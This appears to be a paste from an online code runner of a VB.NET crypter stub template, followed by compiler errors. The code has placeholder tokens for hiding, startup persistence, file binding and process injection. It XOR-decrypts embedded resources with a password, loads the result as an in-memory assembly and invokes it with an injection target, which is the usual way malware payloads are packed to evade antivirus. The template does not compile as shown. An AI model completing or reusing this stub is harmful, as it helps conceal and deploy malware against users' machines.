fork download

copy

Imports System, Microsoft.VisualBasic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Diagnostics
Imports Microsoft.Win32
Imports System.Threading
Imports System.Environment
Imports System.Security.Cryptography
 
<Assembly: AssemblyTitle("%Title%")>
<Assembly: AssemblyDescription("%Description%")>
<Assembly: AssemblyCompany("%Company%")>
<Assembly: AssemblyProduct("%Product%")>
.<Assembly: AssemblyCopyright("%Copyright%")>
<Assembly: AssemblyTrademark("%Trademark%")>
<Assembly: AssemblyVersion("%AssVers%")>
<Assembly: AssemblyFileVersion("%FileVers%")>
 
 
Module %111%
Dim %555% As New Resources.ResourceManager("%jacksparrow%", Assembly.GetExecutingAssembly)
        Dim clazs As String = %555%.Getstring("%CLASSLIBRARY.CLASS1%")
 
    Sub Main()
                System.Windows.Forms.Application.CurrentCulture = New Globalization.CultureInfo("en-US", False)
       Call FirstOne
 
        End
    End Sub
 
 
 
        dim %666% as string = "%PASS%"
 
 
        Sub FirstOne ()
        call ThirdOne
        End Sub
 
 
 
 
 Dim bcd As String = Assembly.GetExecutingAssembly().Location
        'Dim ploc As String = IO.Path.GetTempPath
 
 
        Sub ThirdOne()
 
                 %hide%
        Dim %4% As Byte() = System.text.encoding.default.getbytes( YOtop(%3%,"%normal%"))
                        Dim ferrarelli as String = %555%.Getstring("%ALDO%")
                        Dim %C% As Byte() = System.Text.Encoding.Default.GetBytes(YOtop(%222%, %666%))
                RuntimeHelpers.GetObjectValue(Assembly.Load(%4%).GetType(clazs).GetMethod(%555%.Getstring("%DUNNING%")).Invoke(Nothing, New Object() {%C%, %inj%}))
                                %Startup%       
 
               %Bind%
End Sub           
 
Dim %222% As string = %555%.GetString("%fedinx%")
        Dim %3% As string = %555%.GetString("%SI%")
 
 
 Function YOtop(ByVal Input As String, ByVal pass As String) As String
        Dim out As New System.Text.StringBuilder
        Dim u As Integer
        For i As Integer = 0 To Input.Length - 1 Step +2
            Dim tmp As String = Chr(("&H" & Input.Substring(i, 2)) Xor Asc(pass(u)))
            out.Append(tmp)
            If u = pass.Length - 1 Then u = 0 Else u = u + 1
        Next
        Return out.ToString
    End Function
End Module

Visual Basic.Net Compiler version 0.0.0.5914 (Mono 2.4.2 - r)
Copyright (C) 2004-2008 Rolf Bjarne Kvinge. All rights reserved.


/home/V2uquD/prog.vb (17,2) : Error VBNC30203: Not valid as identifier.
/home/V2uquD/prog.vb (23,8) : Error VBNC30037: Symbol is not valid.
Error recovery not implemented yet.
/home/V2uquD/prog.vb (24,5) : Error VBNC30037: Symbol is not valid.
/home/V2uquD/prog.vb (25,1) : Error VBNC90019: Expected 'End'.
Error recovery not implemented yet.
/home/V2uquD/prog.vb (25,1) : Error VBNC30205: Expected end of statement.
Error recovery not implemented yet.
/home/V2uquD/prog.vb (25,1) : Error VBNC99999: vbnc crashed nearby this location in the source code.
/home/V2uquD/prog.vb (25,1) : Error VBNC99999: Unexpected error: Object reference not set to an instance of an object
  at vbnc.TypeDeclaration.Init (vbnc.Attributes CustomAttributes, Modifiers Modifiers, vbnc.MemberDeclarations Members, vbnc.Identifier Name, Int32 TypeArgumentCount) [0x00000] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/TypeDeclarations/TypeDeclaration.vb:109 
  at vbnc.Parser.ParseModuleDeclaration (vbnc.ParsedObject Parent, vbnc.Attributes Attributes, System.String Namespace) [0x000c9] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/Parser/Parser(Types).vb:281 
  at vbnc.Parser.ParseTypeDeclaration (vbnc.ParsedObject Parent, vbnc.Attributes Attributes, System.String Namespace) [0x000c4] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/Parser/Parser.vb:1446 
  at vbnc.Parser.ParseAssemblyMembers (vbnc.AssemblyDeclaration Parent, System.String RootNamespace, vbnc.MemberDeclarations declarations) [0x001a8] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/Parser/Parser.vb:1482 
  at vbnc.Parser.ParseAssemblyDeclaration (System.String RootNamespace, vbnc.AssemblyDeclaration assembly) [0x00092] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/Parser/Parser.vb:433 
  at vbnc.Parser.Parse (System.String RootNamespace, vbnc.AssemblyDeclaration assembly) [0x00002] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/Parser/Parser.vb:58 
  at vbnc.Compiler.Compile_Parse () [0x0006d] in /var/tmp/portage/dev-lang/mono-basic-2.4.2/work/mono-basic-2.4.2/vbnc/vbnc/source/General/Compiler.vb:363 
Compilation took 00:00:00.5830630

Standard output is empty